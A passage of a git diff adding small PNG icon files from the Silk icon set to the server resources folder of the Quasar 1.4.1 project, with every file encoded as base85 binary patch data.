f^MD@U-?s4sJZ{q)Y&_-b00000NkvXXu0mjf&&BDg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_letterspacing.png new file mode 100755 index 0000000000000000000000000000000000000000..41390f54901f8246e92a229741bac31b071c3eda GIT binary patch literal 503 zcmVIRgTm)FDCIXO8Fsi~>^CdGH3S3%D0q5${f?U>J~@nHi9roGbuh1D(9z z%gbv&l9L^@wYC4t%gZZ>i;E{<4a9_mgn)>M2nV2(9o*gB6P%r$|C^baIl$y)WMuA( zh=}axz-dClyIV_J-BL~b4e4$0H9{wt{tzw%sTk? z|AgJI|M%{A^}l1=tN+cLp8wBV{P;M1%L#8}X4?hhggM)+R z+9?9?;jEp5*Zm84Fpr~B_t#yCMG7$e2|)&nx3AXHUD9Dc6LEQ zK}ktTd3ky5nrCfWUiR&HHDUMbSqI;WA1PQ1bQo_*kY6x^kfv_-%F~ywUVHZJ%iDtb zW}rm8r;B5Vgk`yY$WD5Dm*qU#t{;!!8ybJkX~*>FIp_ Yj#?JC2TTrmK&u!$UHx3vIVCg!07!C!`v3p{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_list_bullets.png new file mode 100755 index 0000000000000000000000000000000000000000..1c74a148c980a30b40705356768be067375af72d GIT binary patch literal 313 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}OMp*^>;M1%jf{-q;^NB7%dPV+ z+2&tzt-Kb{aVwcW!z)b=PZVW@dJFb{-xcAt51g zadA00ITaNZH8nMDZEam$T@w=%8yg#EXJ;=jufV{-;Nakhh=|C@$b^K1)YR1M?CgSq zf|8OFpmqJ*UM@ZIcI)|%AtLNofbJ123GxeOfT#c}DtG_}Y4cBL0wsezT^vIsB&Qy9 z6>CsnU_G!tsj>0y-Kzh;PfqLgPy4|9R7B`sfyDET`LB)o1vHiiJZa-oIr!Fje%rq6 y*}Ga2s>MWR_Bb5UV_U2BNyqmQ2U8+Td|bc_7Oh;%XS0CDGkCiCxvX;M1%t@ADgb=?W=y%#a@ zUe5f-Mn*<)adGA4<#t6^n3iuBv$L}c3JQuBKQ1XLDP8&)XkhuW$2F^-Hm-Tv zw*GnNrsus|Ue4O{dhY(Wiw?e9bokvYw{TsctGG&n{DK*P)~KieP3Y)9Fmo?ZG{)1# zF+@VL_F%YBlY@Z6L3RzUF3X820WLhn|6gz1zc}>v+5Ib%R(^6$tjnLB9Xr*s@0Ixe z^VLnFdkqdTrX77+VSW@7!&*@Ou&cdKUy?8|jDh;r$)X^FHUK0Z9A1+9pG2o*-!S zhM;u^zO3)BuYZE33E^Si48g_e7*uSeVbcIDy9BkHAFUsaL+OgJJB~W8e?K;~3e8vy1y+KZ5djw-d`1PkiUU2o zE~!@aq@v$A+XDOCER?qeXvbra_7O{>mv@!7XuJYWxue+EvBIR>t;A9Et@ZH>)ZUFj z()03Xo{1MF@|-T7)liEvXBc}JPM2ypT4<6&V$8)s<7MPra{ZvXzU(d@C!7&ndlE+$ zvy6;ZPL$F>Vh)R_uCIcso^<`z_3vf4sWW#3G|`oI>Vy8INBmQ{J-ok)6`&kmMOFvL zB(hxwjwu}oqr@7<_VWQIC4lP6WHtiJ)33-jE+f;xiKy;w`s+%|xPZen6W0f1DFIYh zS9&9i-bZniIU>kxTSAs$335va`q59Qxf#Ksb`IjYMOjh+y{?GrvKjgyb~FbQx_W7ev1R)}^n&NG}0M00000NkvXXu0mjf9u`O1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_bottom.png new file mode 100755 index 0000000000000000000000000000000000000000..4880c43a14ecc3cb1e29d8cddc4f387a57743615 GIT binary patch literal 237 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%s_jGX#(Kx>}(2>uk*l_t@;dN0EviS{mT zvGu&K!k84#EqwClM$Vqeq31P!wKX|r@41%rr^5Mj!bSCsndhIXFx>q4hRt2*@LPwH h>8~X2DekW?X1^%zd1ncGXCcrj44$rjF6*2UngBWCTFC$a literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_left.png new file mode 100755 index 0000000000000000000000000000000000000000..b55482eee4e7b0ba2a88d4a46005567336f8ff7a GIT binary patch literal 271 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$x=;`7ZqH%udL_;nnLjl+Ll>Wz( zIeQwyH^i^8ZQrmpJYqwvw0?qe1+OEEdf{i?O@iV*XVXsY`Ty*&#mE0=XK;luxHIb9 z4YSo}n%D4fBwGjp1p#q9X9h{oRCy;FApL49`wQp091V`y_iGV}U{9{r3-4 R)q##>@O1TaS?83{1OT)EWo`ff literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_right.png new file mode 100755 index 0000000000000000000000000000000000000000..106edae52ddaf5828f2c13d9a3f0b765348ca360 GIT binary patch literal 271 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$x=;`7ZqH#X?&-n&<1H*t-4XiFA z|NbBT(EiX|;vdt)=eL)BYkFIjmhz*Y`Q6X|5C6~m|6fsU$^Z73Y=>6wm*9Kh(DR>v zbCQ~}+3o+zcLe_a7x%GevD>fob^b$n0Vh$N)FaE}JsaQGtK1E*H@?HT>!JMN_?D)# z5k5cKbDC@?aVGq?saOBXe{&-H#$Ak_jf_{s6YhrpH>hE3KU}$i$*n6{nBfgu*1H&+ Sq+p<989ZJ6T-G@yGywo4ifyU@ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_padding_top.png new file mode 100755 index 0000000000000000000000000000000000000000..c5c45b2d6e3485f569b4b84ad4a6eca343422381 GIT binary patch literal 236 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%s^K@|x(Kx>}@HS_I0neTeWy_X$ zzlR)kJLWKV?CK3#{b1&`=hMT^Ok|mL=jj3`8~2v|+#9v8zU8YG>i!n;jaA|1{JRO> zi*}22JWI(vtlgq0=VdiDGEr2y=g`$KCs8iH88+V&u75h~eC}h}%?j1kvz#}y_po2D hSm!GL?%~(XVeJ1s?|cxdKM8aRgQu&X%Q~loCIFXdTtEN- literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_replace.png new file mode 100755 index 0000000000000000000000000000000000000000..877f82feae4e68deb2af0b8a8100a141e4f9668c GIT binary patch literal 691 zcmV;k0!;mhP)%W!&uf*aR7m=b*g|(kUJU9 zp=n%1olDSG6tD^6Pm#c6n|B4fFQ*MV1`x;`99zMDR*0#E+F^m|oe836+P7h!>#yE1 zfI!Pp|0)RN)PgnUO$R@72rPJU`eo0n-Y3TD?vS-`EG)AfK{?SrAt%}ba;()aIZ6Qp z@}w&6x|k9*7g8`rL*Kdi8;ED#;QEIV91l(YIPowK+e{Jd0T~0&6kK`z6@7djhdf!w zwp#S^9d~>P!TC5WQwj!Wi!>p*WY}^u%h{eQ=zmnefl-ky`!{2#b7T1JN1S<4gx>S% z7mb%u>(n#eMi%C6?_t0)6t-JzDG!NaVz^b*qE`c@Om0%1= zpr*5B14!3kn2^D}|Au;ZM%_q;bhY%VI5ex^Fx52YQ--nur0X!-_-*q03322ghy(&cNNX?2}d-6ZV@ORut;!KHNq*K6#He9hTK Z<~I`7qRvVbo(qSIUSEps0Q zUAr;NZG^#_4#09w`|BfW=BSyYW{#RUYUZe!%aN8eSM+R$yO)9~xWneh`0_bwJ2z3R zvrY?I6E4E|7xT1sOU>o5-Te;Mw5*|^dcu`kX%q>;$_F=tdyg6kUl(HY>9E*FQ*c$& z3MlB3C=DXPUx+Ug^$VQ5Sw}K5f<(}Y&`cWm)^1Sn6&5VGT_T#eM}w!xAf8TiNJh=L z+NwumgW~8dELd=DCv~^pI^3L@@E91uoo@nRM;W|^4AqxbIW|Xz4i`!hT_{9glI)z0 z5%aN;^zQW$v0wqqva>X6a+Y1UwM!GBDKZu?k-~2uQ`kzx6c+#6H9iB|X|uV2x*{9^ O0000C#5QQ<|d}62BjvZR2H60wE-%c=IP=XqH#X?$N2_%qYIvnKN~+W z9~Ca*U!vP_U*I3(>?ZD`Y&-c@{(mg}&-h1dLFs{j0GSW-70)XEtG5VfT;0^m6lQ+J z+U3u8W~~h~6Sg>h-hYUxlQo0ukSx=`-AtkqjK0A?{?B(bVDN36-+a7&HXBFuBYQFJ z7+INr(vG4WNx=!554>o2#>TpUpG9^D-v)~d)+;_bGW>G+5&iVi|1&@rGI+ZBxvXC#5QQ<|d}62BjvZR2H60wE-%c@9E+gqH#X?$N2_%qkv$?&V++! z-fX$@sb%KG-5a$|R8J4(Tcmu7`G0cYgxS-++3#dN^zA^J(=P8r|6lx9G_LLaZ+v5S z!d9iC@)!RP{FnQmdw#}3Ee(C$|NPA#|L6YmR@fBO9w|C7oMMQ$vc`Tu(RETvC<`(>OPJ!ieM-fH~m>7>jJ-3AN;KsG}ItN_H<)YO~+biscK35gGaf`SIg^B!*iYEReM4Ple+T`TtK`;KS0!apVx86LEKKJ4Opo2 QTmS$707*qoM6N<$f=73^s{jB1 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_superscript.png new file mode 100755 index 0000000000000000000000000000000000000000..2fb2a7c7483531a9f518018de41607eff409019d GIT binary patch literal 421 zcmV;W0b2fvP)CG+sNmIhtD#~2^Z#UfA#v8j z3n}v+J-{%ayuAECadGj1+}zv)X=!N(;^X5L!o$N4`1$!AaCLP(08(RLajhY2(!C4j zIhPDD3;=2l0BZh_l9KWtsCfcN45+yQsCj{njg5kJ(UkzF>T3&3GA;-hCSP#Si$AM? z;RT@04nWQSBO@dK12q@GYzATP)|&^?=RW+OJnO;#u!(m+;0yzxvnK=w2L5+*bNdgp zS%Bnd1llYB((K~m^54kFXadOwfSe7qxxm`m`oDpJ!G8q>1qY%G0ND%;umTWYQ&V#S z&;|b`BqTlv3JMw!GyrPz0g$tSnhk(99{_4T0MvYdi;L?33k!?E;LJ<_HjJTTC#5QQ<|d}62BjvZR2H60wE-$x?CIhdqH#X?$N2_%BY~9*Y!?2h z{rUe=9fy8l?U(-(m`sFEeV_iPeWNmK)A{6xz&-Zw?GGia|0}^&^gUfcv*1X`gnjmc zo{g-_np*x&^x*npDC+Wt-z8{4+sXs`@BiMP%+Rv-k;3)Ae_+S0!x%EHv-|4^N|MkDje{TP~{@MQ}vm3aX7|tvG V&AV6mZa&bt44$rjF6*2UngI1lb~69~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/text_uppercase.png new file mode 100755 index 0000000000000000000000000000000000000000..8dcc2dbbb212b01abbf346206e933171945a3257 GIT binary patch literal 747 zcmV1EDu<7r(0?-_Pg!d!8HsIpt%b<}90x zDMxvzT_Vm56BPEut@7@FlT+>#73arAln#?v$sox)-W#`G^N1+86$@nrD76#CNgD|j z_a_)?WscsChp&t$aj>1st^u`bs5MqLl#s1q!;FNIJD-qmh$yoHoE}bqTGtMnxgu)S zXoDkAd3!f>k1ywD1<*K?IK*&k2aFt3IXm>#{>qBM7u`^M>Yl0H6}c6Tvc%1Y;s6sA z9HxNuzC9q47QaA@(}c|cs5Q3V_yPIXBVqM}o|o3=U08}fLg$kX(D3@H-r_A&K#NIFG)9+GxVtF9F!gyg1NgI2^_*(Jvebfwh#$UpQ#fHM+-?h|6-K|Xd1IR2c0OH0 zM<9&`ucZ7ZKptw|n0`Bn`>&liW-Rz_^h;c`muxh7$a4SU7qt3QsCVxIpkaa5md$b) z=lc4#I)h0xy5n!C)oc!?VVX~&&LuLtHrSbFU#h5eRzSmKd{gfhDyfxeqxM$cDzr{v zZ$Q&bDzDKi@?Ak5_0H&mj^#4nsvQ$xqLAuQeqv7mt!p*=640^H^*RT)QfvRXQe%s( z7+i6f=Tf+6=R>;!^iz_)!$+%+$3TNee%)QN^RQ4rm5qe|0_Z(bUgl1E<5dUuLu-!) zYFJ@kCg|W5)XFrt1avQ?QOhQAVSp%q1L!72J$+r&(mQKdBHsxbERuIs_xOoQ8-Z$w d$ibbN_z9tvwRADeG)w>h002ovPDHLkV1lyYRw)1g literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield.png new file mode 100755 index 0000000000000000000000000000000000000000..11b24cdbe23815bf2dee2dc326aec6889e99948f GIT binary patch literal 124 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!93?!50ihlx9JOMr-uK)l4KY8-xix)5c{P{Cc z;W{5soUtUxFPOpM*^M+HN6yp5F@)oKa>4;7r^beb|Nj54=Xn~zvEhi8!hvO?42L`< V_CGOlISW+D;OXk;vd$@?2>@8bD>(oF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_add.png new file mode 100755 index 0000000000000000000000000000000000000000..ac99907c1967e50effd2a0c01a052871af28cd87 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}QGic~>;M1%&9fzuk!6lFkZYSS z?^A6U+@lfRubbHAnb_r(*5_Y3Gof*HV*BE<_MHjsyAry0CH3q{?cJ5qzdNgcPx{h5 zGd5nHu<_cYO-Gk)x-@mmm8sjV%-Mc&?a7lTFFf1z;>C+UfBpci`_Ezj8)!RwNswPK zLrX``r|;h_EPmPog~B{t977~7Cnqdm3UFcO>C)10kknY#;I4(3abegQ<0X3yHS}F&-1QMPIO%{Ee;M1%kA%zaaAiImF16E@ z8G=rxsP6S;+2h2r$C-71q~iW4rGruO$CI>9o;-ObSN~F(?UjY?cb2u^O<{bP!Tf0b zlxO9NFJ8QORmu9g%i&!a!~1%PFLRT>t|YY;$T?D#>t0c%Tn4zMo;r`<%zyJJWK4``V6b47^l z&mS)h2PTaJ{`(pvrdQ&(Xyv|S<=4XJyldyac<8@l=;-L`!CvaekLt*i z?8koW$#3kQuk)K-xcM+nF{*w|@VNFWSV)-$&@GZAG_fB+dOXJS-3v0MG*&_JQEsM*si- M07*qoM6N<$f(-K0;Q#;t literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/textfield_rename.png new file mode 100755 index 0000000000000000000000000000000000000000..067b86eb6faec6286bac6fad67b010fe3074dd8e GIT binary patch literal 240 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}NPtg>>;M1%lai9MfuR3z4iEsz z2}g1#9L}A1I1dOW9?qY1s9^G;!pR4VX51{Ad82stwc^<~OJ-jyEiEmZd#!T*_3DM! z`uh5&PMv!4LD%8Lq$gGR5;6x zld)?PVHk%KwHXvA{{RQkK^zqPQ*`Jo3NFS)5G+C!og7>$D6NEu!3M;jM7RtZQ)9g& zq2Y3PT)1!{94U9^xG!8xj6)xXFPclGw!?4uK6oB}yu5D$NbE`yI1Hp{cTP^eKY;ujW&%y5(3%q}8&Iu+Z9^2vgn!@=`cv5NLoOc^Y;-QuG-PEVz;+}o zcENrCULQOkUgTneivF3xTc}jz)O*_!j#u{k5_Y%2vSBq76X>=lfe@Sy)M^rlSN41< zFBak9y3SHYoe91;AFxb0c`@LxEMB>3K(+u^@@dlfv)n11o(YQ9DYCV@ysWAe)bA*@ zA?~zt*M)ZwRm*@RfYubyBDcy zzi@ld(BZ+WEz+fP2fGEuIfi0A$28@nAFW2*$}b-Lm=yg4isoRq;qlX-+{iBf5B^t> nvr??6H@Wu&uC1-?2Lp-UJe5p>RuR>I00000NkvXXu0mjfVs`!d literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/thumb_up.png new file mode 100755 index 0000000000000000000000000000000000000000..2bd16ccf294bd944c6bf17fa0345885469980820 GIT binary patch literal 619 zcmV-x0+juUP)EAdBAPtT3aD}=*%{NbB*ZGcS?IC*5jinhDl=TC) z^a(zA>EnR9^9j#^IEMZn^!id5#SnEtL|{9h>X0|4DCpP8H?Ix=ni&xHWU$qNT21yZ z5^*RX2qmP^fMQ*vP*nzi&BkZ)YfvhI(E`_#urPuk5&HpnzVw-Gc(=*`uwjlh!P+m)3pz5ENXE;8&W2W*v~T!vOF>0KmQeQ*+S#{tWRxh00jSgfv7 zu5dK}P{{s0ADkp>$Chu@w&3}~KY;h%H7W`eKSHGHs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1p`EB*FHYdKr%;k=xO&(k^EfNlSiKZ>5l+xr|%SFOV@6-ysFmD2F5 ze93OiS+LaQym;|2f6tbH%~V`D+ND?vc>4J^KSLxEMifJQ`8>*~y^+pGr&o-n=LJ zGWB(yB#;DR8&Lhqi{0(#wc#SwSB~jZKzIFx`8od>2Fo-Pfe7*M8^q#qw2yTxiXzd~ zRaz|F*rr78G`JZXG*YX~5K@5k>G@0HdlBo-6v1jHye?%qRwO@+-hO7J^4LlPG>@A1#{ zQFl4x7tnG)+cz_2Mq_f*H!U)kgg{iHqxT)Yr3ec@K!`)z_%h1c0Y2Eu(dMPkrhq5v zY+bKWfx|sTiOEB71HuwS*CDzA%ReBv4*7Zy7RM0n6`5#chfOJK`ze)Y6>d6Z?UmyNHH!3DdsP-ARyDo}1HO+>7_um7 zx_gj{+_aU_OUH_~Jd?KI#ICZujD`of2mDpCv_zFGE%6}tfL|j!WGu_i-u>4%{%d{$ X7`zMSfT21V00000NkvXXu0mjfkBx0` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_add.png new file mode 100755 index 0000000000000000000000000000000000000000..dcc45cb22d734911a75bd4950e2571a16605a9cf GIT binary patch literal 827 zcmV-B1H}A^P)3?6FD7nDHK>VL42oe(*rZTUs{)lBOewOJrAS)@sgRZy z%F>hyq)^%d($a+jvbEIPma<%g&wCql)nJT?C;2jG&YAhmnKKgsAmV>?EHES~x~T7X zs+sKJY)$uZ$;sXvQYTGaS2d(|cfZX!|5t!kR#0tLbM}|5W7u4C!0-2gAiP*vG{dZu zpszlDTUwr!_ea36B)`&b5W?qi!|L|o{h$lgowKNt&7f6j$CPayE~_4jy2lXZ$7TKo zP_^Rg$&G$-I%;z7v@(FfmgKcnw*_L=0_Lcb zLkC9)hC&cDim*X}0(*PtR1HFFBT(FKf@MOAIxfq_05r`>yFTv5iHukZk`&|+%R~ULN=n0< zwMH{M2Y|s#BDvxd+>Q}6WV3z(I?H054vP{MG80A?2&__JW&z`G!!PDX?YR7GjC`?n{pDbW%Dq)z9LBVBN!qPTXY$6O9kX}RpA#Z z8F+~Dfp{9Q%Y39-UM%Mw{}$%PsxdTSK!IosPpU?dUZKMkZX^^l_4w63ngulA_kS(O zy_Z+Zxe=5L?_x@m59gd1&eSqXN&&j;A0wZRe+P0j{YEgzubTh>002ovPDHLk FV1g6?b$0*& literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/time_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..5bf8313c6fe2d345c2e2e27e163fb9a91f902f40 GIT binary patch literal 853 zcmV-b1FHOqP)LI8ef}kKQAC1Vu3=||mNqz7>Z<*DWS(X}8({x^D&e^=6 z>88%hn5MS5Hq)H$;+)OP=KODSbNf%kRfIoX_w44(Ip*@cSPfat!hc zgGXB)iRGP)^{>KgTHcjKOPiBcMAb>{?eDTK{}mwNv&vMxjBTTO3~S3;*lbo%lm$x* zDyXD92;awUHor;8{UczA$1Ksv%3(Ddpf*_XaX^nU!8A(w-_X#b!Q|Wu^y*P`SH*$D zj7d8H5H%EBk#(lhmQ_6@3KLof_0Sk?u-F_h+cu$Iw4tF_gSKHEW)(f)KE3CxVm-Xz z1N7HrbkCE(_l0%v#X5M+N>P~mv5YNp_sZb`D!Md~Dh=r4rl2AxqQM6ks83ur8K%G$ z&0~hV?A-Cd;dFvs!@(*6+1+jkL<5k_QFz&;#MDGHs zx|ykH-tszZd6}+hsnhA4mbcBhIj@s?`p*w5Dg4rb2i|jDp5J@k!+8k+#Q$jBrm-;b zjI8KseP=m!=5saO(peF1X%Poc*5m}2mc9x+;BA8joZ_!YmwbVsN{z08NoZ6uRAxT} zk99wE9iT=K?;*?=p`#Jtp0>~VF4MrJWP?Gx#eXP*EB#nU_?@Z5Hb6Z;aLJ(mhD4DP zQ;QZDmVaP{%+R8k5WXuzSR@m*vNnW>-SB|th*3=&a_QF=ZGh@5za{pKHCNUK<JI)Ln2%+72(CGdRsrxF>Lf1A|cRp%M0f4O0fg+bJ#7z2L=@OIj}F;-Xd7 zm`%AVJ{q%W_AdV{9O#6cG;jUqG;SpF%DVmZ&DcpJw)}bi3kR9nL}HfOaR2}S07*qo IM6N<$f{5djdH?_b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/timeline_marker.png new file mode 100755 index 0000000000000000000000000000000000000000..a3fbddf88b7661e9ee2a434ad4152cc724db24c5 GIT binary patch literal 327 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%+>FMGaA|c6o&@rz!QG)Hl=lY!! z1v*=JI|P}v6PV8&74ykGbnHgML`m~0TYQt3?ajRZzjDrI(GNdQ-+es!^5)m?umAh| z_lML2hJx>}8mr}YRTjS1X5c%1=To>j zEp`{T<8b2%3kmpmE&u%$g;f!Ou2+6+ab?{tp`+Eo<@Tn7>)N`e4#yAy(KQ_jApxR2 zTwy>}5{4Z&HZE$4TztEY4eB^wEm!DE&<6VJfqm!9 Wxdqp5p1KL-FnGH9xvXIO@l#-%@K+Q7zAyIUxr7=;KLsPe99&9Qy zmp_aWYb=E&ic)qE1ceaTL3I)s3+v0Pdzpnl)xpCDFYk3f*Ymue2{3J{X-|sELAYmu z=`Mqi(_pe~fr(oVM(R_x-rovW3XC#01TV%_L0BAvr#_hKf!+|yzTW7{?3 zIuq0Vz);x1M>XE7-^4 zB)oZq-|zSSd<|RjL3Q0FaG93$Sb#=w6_iQ0NQ>FM@oa+ksPjrN7+e#)=Jk5tx!vxB zO+TG2$)d_PZTpo~g1ZG9e0&b?=MikQx3}AOy1Ns6Sn&5>og;!Hg4gVJ`{#y+hUEVS z2o4GUBDiwY}B+wa2=)lh*=g2T3C=Dq fF3wcNZJhl8^(M*LyGLEt00000NkvXXu0mjfpmtoM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_add.png new file mode 100755 index 0000000000000000000000000000000000000000..b7fd4e685f6069f24879e9f0e381bc410832a85d GIT binary patch literal 803 zcmV+;1Kj+HP)}axRi;}=4r+) z3SP6qaP>4p4@~rygl|5-8O{?hz+@M^a!I*irXQX=V9WwN`2n1{d0PXGsKiQ-wk!bGP`tWfAL4Wq9pM0Aa!>!&@_k3G$ZH8})ZLKqDf z6r6I4DxE^*iAW72CNsV^(KD;Mdin}N>CT(uX*qP|LT8q|Z-X^{j{38qRO|H;0hg7sWIJD9oKUIFk%LU;cqpfyM$l1 z?95f0L82SLaSPGaO-)V3`Fy@e(bdrq3*|=wlpYMCC;~ciBw*hUjp#1ndnAiVSGTLh znyBi2qswqg;NM=a_ZLkGXGHfC_oATSfR@7jt5+-DyP%Qne&BIFq8kw1V9||Hw=1xN znPK?o!Rd6`4UNgghQ_3y8MPNlHR_f-OQY2Qxq>y>Ai5c{m>p|Bo4`9|@`Bs#UKV({ z+*&YS)}6|eSqn2?Jk*V3kysZ+sv&ehv*oWWC2*6#3g2JC*D0=7p2qdYjO$%J>Qm!Q zr_OtmquIL_w}TG}{70Q^x7&R-o6UE=D4N09R@OfQuPti8*69L!1zr@mb**Qa%46BP h1FE*vy!x&7{{lR##&^9e`^EqO002ovPDHLkV1lG4b!Y$p literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_blue.png new file mode 100755 index 0000000000000000000000000000000000000000..7b1142fc70adfd598ce6eac581421d7e6295f370 GIT binary patch literal 814 zcmV+}1JV46P)^~)@W#UgN8qC(979%Vy9NAeJn`# zSw2!>g&{fNR2$Okoji4(4lt5P$>r&q16P0#(CAS`X1XUkTWj$WH+~m^i1nA!c54U2@ zzUeSE3@r(@mOzU7Ss)3zO6X49?eVdR`>f= zD(&<}w=25V_BpD%QfK~{4*0vpV)<6BAI*U7!YSn(9anIo^h$1Lw4>$RCWGxdm8_qj z8-Z>jbWcRL3)o3FSHo3#4@0T!b!F!4__T7a7X3qJoMEqHkXET~kf2YcP!3qAt)$FI)g zfX4xE%Ve@IB_$;X{~G{!1n^hDt+6w}2Edy|MMdmC0|1`~><4@={vu#`et!O#R4P65 s*8sp^b=iB(8ZE$Cxw*NSsD#+rPu4uZkAluh`2YX_07*qoM6N<$g1stv`v3p{ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..3d72be2a385aa6afa5b281c13484cf3d90b31509 GIT binary patch literal 827 zcmV-B1H}A^P)ekg)Uh$P6M7p$3e-P5^%^+?xyvUjfULliT5YM76F4isfFHVDK9*4g2!%XFN6B*Af7DCpQ@vNCUc%g&VBcXI4QMNi;bDnJ*DdLIMWZQy5shaeM7Kb6JE_U+#I?VGid_*n zlNM1Lui=p?icA`X8&)XXx7ksvMbED5nrXDor_Rzx%SEWof?J2=eGDoR`zYBypJKCF zLg2<8C|GS%ME4b)HKViDpD>DU9p3YZu7}E06W0<=qU*t(E?r~mC|Ymi!WzU3a-v@- zqB~5dY}u2g9~wkAh&uz(H3b5J1XWd6h^~p!IJmerNd8I#XO_dwBNDLqt0KC?s8zC< zgZg%jRHW#-1JoYfDDZE;-~Ws9q-~=6j=UJKE;W*~WOTH%QG<$X_cgb(5#6BZhKp{j zzFmRcJomwydw4t^mzuipR7XPO2fsNi)E*bE^<^y317w7XT}MSXT^18L_SpoUEu9Cw zUT;X?koVlaZ@tIY4G*>02)(?^k6H_X!!aX0$up~!Nx!m`z~usKeCmOZ0a|v>At*2< zvVH3;xE#f&qD}ZV8~Ub#R|!0#cXqj4s?+II{pRU}o;L9R^CfRC`Z$vU1ojI&B=C)~ zvz8q*e|)bx00R9ysqk6qU4{YQ7DN9;I8NYxfzSSb{wQT$eplMEkq_1=22M}sZQ3** z#D{5jw-|E91qfUzaKco3QBxM2y0dl0M_pSwzt>^?{0|*1#N18>$qoPj002ovPDHLk FV1iAqe^3Ab literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/transmit_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..eb9a3dd593055d8fd4fde39679d2845bfc27f857 GIT binary patch literal 848 zcmV-W1F!svP)k7R5;6p zl3h%jWf+FPgoK2|WJfztW3~|@Mx95@cm$)1#$hld8v!Mv87aty5y)6sfdT;niq)#r zvI=Zz3&F1AXGM^(Rah9KN){MD5xql~|FQAII6~;OxZW!%=>vrfjgR4NrnVY}6 zV89wq|G6H99dOenn=Q~?gG_~v5@^#wrvW@4L%SZnOzXjt9R5#%$6~@OaHycSHXxuz zbR!;2YCaW#O{>{-Bn79NQ<>?kVzluU#>~&93v52fx1R+VZjp)A0XoX|(O&eJ=vIpE 